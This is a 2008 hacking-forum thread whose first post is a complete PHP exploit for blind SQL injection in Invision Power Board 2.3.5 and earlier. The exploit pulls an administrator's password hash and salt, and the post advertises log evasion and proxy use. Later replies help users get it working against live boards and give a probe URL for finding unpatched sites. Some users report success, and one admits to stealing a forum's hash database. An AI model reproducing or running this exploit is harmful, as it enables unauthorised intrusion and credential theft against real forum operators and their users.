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www.waraxe.us Forum Index -> Invision Power Board -> IPB <= 2.3.5 sql injection hash/salt fetching exploit Goto page 1, 2, 3, 4, 5Next
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IPB <= 2.3.5 sql injection hash/salt fetching exploit
PostPosted: Sat Sep 20, 2008 8:53 pm Reply with quote
waraxe
Site admin
Site admin
Joined: May 11, 2004
Posts: 2407
Location: Estonia, Tartu




Based on DarkFig's excellent advisory. Easy to use, fast and usually does leave minimal log traces.

Feedback is welcome!

[[update]] ==> version 1.1 with Curl autoload!

Code:

<?php
error_reporting(E_ALL);
///////////////////////////////////////////////////////////////////////
///////////////////////////////////////////////////////////////////////
// IPB <= 2.3.5 sql injection exploit
// Version 1.1
// written by Janek Vind "waraxe"
// Estonia, Tartu
// http://www.waraxe.us/
// 22. september 2008
// based on DarkFig's advisory
// http://acid-root.new.fr/?0:18
//
// FEATURES:
// 1. Fetching algorithm optimized for speed
// 2. Attack goes through $_POST, so no suspicious logs
// 3. Pretesting saves time if IPB is not vulnerable
// 4. curl extension autoloading
//
// More useful tools: http://www.waraxe.us/tools/
// Waraxe forums: http://www.waraxe.us/forums.html
//
// NB! This exploit is meant to be run as php CLI!
// http://www.php.net/features.commandline
///////////////////////////////////////////////////////////////////////
///////////////////////////////////////////////////////////////////////
//=====================================================================
$url = 'http://localhost/ipb.2.3.5/';
$id = 1;// ID of the target user, default value "1" is admin's ID
$prefix = 'ibf_';// IPB table prefix, default is "ibf_"
# Proxy settings
# Be sure to use proxy :)
//$proxy_ip_port = '127.0.0.1:8118';
//$proxy_user_password = 'someuser:somepassword';
$outfile = './ipblog.txt';// Log file
//======================================================================
///////////////////////////////////////////////////////////////////////
// Don't mess below this line, unless you know the stuff ;)
///////////////////////////////////////////////////////////////////////
//=====================================================================
///////////////////////////////////////////////////////////////////////
if(!extension_loaded('curl'))
{
if(!dl('php_curl.dll'))
{
die("Curl extension not loaded!\n Fatal exit ...\n");
}
else
{
echo "Curl loading success\n";
}
}
//=====================================================================
$cli = php_sapi_name() === 'cli';
//=====================================================================
// Warning, if executed from webserver
//=====================================================================
if(!$cli)
{
if(!isset($_REQUEST['wtf-is-cli']))
{
echo "<html><head><title>Attention!</title></head>\n";
echo "<body><br /><br /><center>\n";
echo "<h1>Warning!</h1>\n";
echo "This exploit is meant to be used as php CLI script!<br />\n";
echo "More information:<br />\n";
echo "<a href=\"http://www.google.com/search?hl=en&q=php+cli+windows\" target=\"_blank\">http://www.google.com/search?hl=en&q=php+cli+windows</a><br />\n";
echo "Still, you can try to run it from webserver.<br />\n";
echo "Just press the button below and prepare for long waiting<br />\n";
echo "And learn to use php CLI next time, please ...<br />\n";
echo "<form method=\"get\">\n";
echo "<input type=\"submit\" name=\"wtf-is-cli\" value=\"Let me in, i don't care\">\n";
echo "</form>\n";
echo "</center></body></html>\n";
exit;
}
else
{
// Let's try to maximize our chances without CLI
@set_time_limit(0);
}
}
//=====================================================================
xecho("Target: $url\n");
xecho("Sql table prefix: $prefix\n");
xecho("Testing target URL ... \n");
test_target_url();
xecho("Target URL seems to be valid\n");
xecho("Testing target ID ... \n");
test_target_id();
xecho("Target ID seems to be valid\n");

$hash = get_hash();
$salt = get_salt();

add_line("Target: $url");
add_line("User ID: $id");
add_line("Hash: $hash");
add_line("Salt: $salt");
add_line("------------------------------------------");

xecho("\n------------------------------------------\n");
xecho("Hash: $hash\n");
xecho("Salt: $salt");
xecho("\n------------------------------------------\n");

xecho("\nQuestions and feedback - http://www.waraxe.us/ \n");
die("See ya! :) \n");
//////////////////////////////////////////////////////////////////////
//////////////////////////////////////////////////////////////////////
function test_target_url()
{
global $url;

$post = 'act=xmlout&do=check-display-name&name=somethingfoobarkind%2527 OR 1=1-- ';
$buff = trim(make_post($url, $post, '', $url));
if($buff !== 'found')
{
die('Invalid response, target URL not valid? Exiting ...');
}
}
//////////////////////////////////////////////////////////////////////
function test_target_id()
{
global $url, $prefix, $id;

$post = 'UNION SELECT 1,1 FROM ' . $prefix . 'members_converge WHERE converge_id=' . $id . ' AND LENGTH(converge_pass_hash)=32';
if(!test_condition($post))
{
die('Invalid response, target ID not valid? Exiting ...');
}
}
///////////////////////////////////////////////////////////////////////
function get_salt()
{
$len = 5;
$out = '';

xecho("Finding salt ...\n");

for($i = 1; $i < $len + 1; $i ++)
{
$ch = get_saltchar($i);
xecho("Got pos $i --> $ch\n");
$out .= "$ch";
xecho("Current salt: $out \n");
}

xecho("\nFinal salt: $out\n\n");

return $out;
}
///////////////////////////////////////////////////////////////////////
function get_saltchar($pos)
{
global $prefix, $id;

$char = '';
$min = 32;
$max = 128;
$pattern = 'UNION SELECT 1,1 FROM ' . $prefix . "members_converge WHERE converge_id=$id AND ORD(SUBSTR(converge_pass_salt,$pos,1))";
$curr = 0;

while(1)
{
$area = $max - $min;
if($area < 2 )
{
$post = $pattern . "=$max";
$eq = test_condition($post);

if($eq)
{
$char = chr($max);
}
else
{
$char = chr($min);
}

break;
}

$half = intval(floor($area / 2));
$curr = $min + $half;

$post = $pattern . '%253e' . $curr;

$bigger = test_condition($post);

if($bigger)
{
$min = $curr;
}
else
{
$max = $curr;
}

xecho("Current test: $curr-$max-$min\n");
}

return $char;
}
///////////////////////////////////////////////////////////////////////
function get_hash()
{
$len = 32;
$out = '';

xecho("Finding hash ...\n");

for($i = 1; $i < $len + 1; $i ++)
{
$ch = get_hashchar($i);
xecho("Got pos $i --> $ch\n");
$out .= "$ch";
xecho("Current hash: $out \n");
}

xecho("\nFinal hash: $out\n\n");

return $out;
}
///////////////////////////////////////////////////////////////////////
function get_hashchar($pos)
{
global $prefix, $id;

$char = '';
$pattern = 'UNION SELECT 1,1 FROM ' . $prefix . "members_converge WHERE converge_id=$id AND ORD(SUBSTR(converge_pass_hash,$pos,1))";

// First let's determine, if it's number or letter
$post = $pattern . '%253e57';
$letter = test_condition($post);

if($letter)
{
$min = 97;
$max = 102;
xecho("Char to find is [a-f]\n");
}
else
{
$min = 48;
$max = 57;
xecho("Char to find is [0-9]\n");
}

$curr = 0;

while(1)
{
$area = $max - $min;
if($area < 2 )
{
$post = $pattern . "=$max";
$eq = test_condition($post);

if($eq)
{
$char = chr($max);
}
else
{
$char = chr($min);
}

break;
}

$half = intval(floor($area / 2));
$curr = $min + $half;

$post = $pattern . '%253e' . $curr;

$bigger = test_condition($post);

if($bigger)
{
$min = $curr;
}
else
{
$max = $curr;
}

xecho("Current test: $curr-$max-$min\n");
}

return $char;
}
///////////////////////////////////////////////////////////////////////
function test_condition($p)
{
global $url;

$bret = false;
$maxtry = 10;
$try = 1;

$pattern = 'act=xmlout&do=check-display-name&name=%%2527 OR 1=%%2522%%2527%%2522 %s OR 1=%%2522%%2527%%2522-- ';
$post = sprintf($pattern, $p);

while(1)
{
$buff = trim(make_post($url, $post, '', $url));

if($buff === 'found')
{
$bret = true;
break;
}
elseif($buff === 'notfound')
{
break;
}
elseif(strpos($buff, '<title>IPS Driver Error</title>') !== false)
{
die("Sql error! Wrong prefix?\nExiting ... ");
}
else
{
xecho("test_condition() - try $try - invalid return value ...\n");
$try ++;
if($try > $maxtry)
{
die("Too many tries - exiting ...\n");
}
else
{
xecho("Trying again - try $try ...\n");
}
}
}

return $bret;
}
///////////////////////////////////////////////////////////////////////
function make_post($url, $post_fields='', $cookie = '', $referer = '', $headers = FALSE)
{
$ch = curl_init();
$timeout = 120;
curl_setopt ($ch, CURLOPT_URL, $url);
curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt ($ch, CURLOPT_CONNECTTIMEOUT, $timeout);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post_fields);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 0);
curl_setopt ($ch, CURLOPT_USERAGENT, 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)');

if(!empty($GLOBALS['proxy_ip_port']))
{
curl_setopt($ch, CURLOPT_PROXY, $GLOBALS['proxy_ip_port']);

if(!empty($GLOBALS['proxy_user_password']))
{
curl_setopt($ch, CURLOPT_PROXYUSERPWD, $GLOBALS['proxy_user_password']);
}
}

if(!empty($cookie))
{
curl_setopt ($ch, CURLOPT_COOKIE, $cookie);
}

if(!empty($referer))
{
curl_setopt ($ch, CURLOPT_REFERER, $referer);
}

if($headers === TRUE)
{
curl_setopt ($ch, CURLOPT_HEADER, TRUE);
}
else
{
curl_setopt ($ch, CURLOPT_HEADER, FALSE);
}

$fc = curl_exec($ch);
curl_close($ch);

return $fc;
}
///////////////////////////////////////////////////////////////////////
function add_line($line)
{
global $outfile;

$line .= "\n";
$fh = fopen($outfile, 'ab');
fwrite($fh, $line);
fclose($fh);

}
///////////////////////////////////////////////////////////////////////
function xecho($line)
{
if($GLOBALS['cli'])
{
echo "$line";
}
else
{
$line = nl2br(htmlspecialchars($line));
echo "$line";
}
}
//////////////////////////////////////////////////////////////////////
?>


Last edited by waraxe on Sun Sep 21, 2008 8:32 pm; edited 2 times in total
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PostPosted: Sat Sep 20, 2008 9:53 pm Reply with quote
Miyako
Active user
Active user
Joined: Jan 28, 2008
Posts: 25




Nice Smile Great job Waraxe Smile
Your PHP-scripts could even be used by noobs like me, like always (cutenews).
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PostPosted: Sun Sep 21, 2008 2:29 am Reply with quote
Cablekid
Advanced user
Advanced user
Joined: Jul 14, 2007
Posts: 85




Awsome! Works! just need to figure out to crack them my self LOL
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PostPosted: Sun Sep 21, 2008 9:03 am Reply with quote
pexli
Valuable expert
Valuable expert
Joined: May 24, 2007
Posts: 665
Location: Bulgaria




Code:
curl_setopt($ch, CURLOPT_PROXY, $GLOBALS['proxy_ip_port']);

if(!empty($GLOBALS['proxy_user_password']))
{
curl_setopt($ch, CURLOPT_PROXYUSERPWD, $GLOBALS['proxy_user_password']);


Thank you dude.SmileSmile
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PostPosted: Sun Sep 21, 2008 6:09 pm Reply with quote
martin1
Regular user
Regular user
Joined: Sep 21, 2008
Posts: 17




PHP Fatal error: Call to undefined function curl_init() in C:\1.php on line
329

I keep getting this when i try using this exploit. (Yes im a n00b but we all start somewhere ? ) Confused
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PostPosted: Sun Sep 21, 2008 6:11 pm Reply with quote
Poison
Advanced user
Advanced user
Joined: Jul 30, 2008
Posts: 126




MARTIN i get the same error Sad
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PostPosted: Sun Sep 21, 2008 7:39 pm Reply with quote
pexli
Valuable expert
Valuable expert
Joined: May 24, 2007
Posts: 665
Location: Bulgaria




In php.ini must be like this

extension=php_curl.dll
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PostPosted: Sun Sep 21, 2008 7:55 pm Reply with quote
Poison
Advanced user
Advanced user
Joined: Jul 30, 2008
Posts: 126




ive done it but still dosnt work where is the curl file?

cause its not in the php dir
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PostPosted: Sun Sep 21, 2008 8:03 pm Reply with quote
waraxe
Site admin
Site admin
Joined: May 11, 2004
Posts: 2407
Location: Estonia, Tartu




Poison wrote:
ive done it but still dosnt work where is the curl file?

cause its not in the php dir


Look in subfolder "ext" in php folder. Can you see file "php_curl.dll"?
Now edit php.ini accordingly:

Code:

; Directory in which the loadable extensions (modules) reside.

extension_dir = "./ext"


And

Code:

extension=php_curl.dll


Let me know about results.

By the way, i got idea ... i will try to use dl() function, if curl extension is not loaded. This can make things easier Smile

[[update]] ==> i've published version 1.1 of exploit, with curl autoloader.

Look for first post, it's version 1.1 now. Or dowload from here:

http://www.waraxe.us/tools/ipbaxe.zip
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PostPosted: Sun Sep 21, 2008 8:54 pm Reply with quote
T0x1Cw4St3
Regular user
Regular user
Joined: Aug 15, 2008
Posts: 17




Everytime i'm getting this:
Invalid response, target URL not valid? Exiting ...

With every IPB 2.3.5 board i find.
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PostPosted: Sun Sep 21, 2008 9:16 pm Reply with quote
waraxe
Site admin
Site admin
Joined: May 11, 2004
Posts: 2407
Location: Estonia, Tartu




T0x1Cw4St3 wrote:
Everytime i'm getting this:
Invalid response, target URL not valid? Exiting ...

With every IPB 2.3.5 board i find.


Most of the IPB installations are allready patched. So first thing to do is to try this:

Code:

http://www.***.com/forums/index.php?act=xmlout&do=check-display-name&name=%2527


If you will see "IPS driver error", then exploit should work. If you get "not found" or something like that, then specific target is allready pacthed Smile
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PostPosted: Sun Sep 21, 2008 11:18 pm Reply with quote
martin1
Regular user
Regular user
Joined: Sep 21, 2008
Posts: 17




thanks for explainin waraxe. that file seem to work. time to have some fun Twisted Evil
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PostPosted: Mon Sep 22, 2008 2:10 am Reply with quote
Chedda
Active user
Active user
Joined: May 26, 2008
Posts: 27




Works like a charm, way to go =)
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PostPosted: Mon Sep 22, 2008 2:20 am Reply with quote
waraxe
Site admin
Site admin
Joined: May 11, 2004
Posts: 2407
Location: Estonia, Tartu




Glad to hear positive feedback Cool
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PostPosted: Mon Sep 22, 2008 2:42 am Reply with quote
Irakirashia
Beginner
Beginner
Joined: Sep 22, 2008
Posts: 2




I just registered to say that this is working great, now I'm waiting to decrypt the md5's, I've already stolen a whole md5's db from a forum I needed ;x
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IPB <= 2.3.5 sql injection hash/salt fetching exploit
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